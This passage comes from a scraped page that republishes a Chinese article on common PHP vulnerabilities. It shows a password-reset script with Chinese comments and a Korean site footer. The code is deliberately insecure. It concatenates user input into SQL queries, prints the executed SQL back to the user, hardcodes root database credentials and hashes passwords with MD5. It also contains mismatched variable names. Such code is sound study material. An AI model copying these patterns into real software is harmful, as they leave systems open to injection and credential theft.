// 当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
// 当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
if(get_magic_quotes_gpc())
{
// 删除由 addslashes() 函数添加的反斜杠
$value = stripslashes($value);
}
if(!ctype_digit($value))
{
// ctype_digit()判断是不是数字,是数字就返回true,否则返回false
// mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。
$value = "&#39;" . mysql_real_escape_string($value) . ".";
}
else
$value = intval($value);
return $value;
}
$connect = mysqli_connect("localhost","root","12345678","lyshark");
if($connect)
{
    if(isset($_POST[&#39;uname&#39;]) && isset($_POST[&#39;passwd&#39;]))
    {
     $uname=Check($_POST[&#39;uname&#39;]);
$passwd=$_POST[&#39;passwd&#39;];
$passwd = md5($passwd);
        $sql="select username,password FROM local_user WHERE username=$uname LIMIT 0,1";
        $query = mysqli_query($connect,$sql);
        if($query)
        {
         $row = mysqli_fetch_array($query);
         if($row)
         {
         $rows = $row[&#39;username&#39;];
         $udate = "UPDATE local_user SET password = &#39;$passwd&#39; WHERE username=&#39;$rows&#39;";
         mysql_query($update);
         if(mysql_error())
         {
         print_r(mysql_error());
         }
         echo "后端执行语句: {$sql} <br>";
         }
         else
         {
         echo "<br>后端执行语句: {$sql} <br>";
         }
        }
    }
}
?>
</body>
</html>

推荐学习:《PHP视频教程

위 내용은 매우 포괄적입니다! 일반적인 PHP 취약점 코드 요약!의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 juejin.im에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제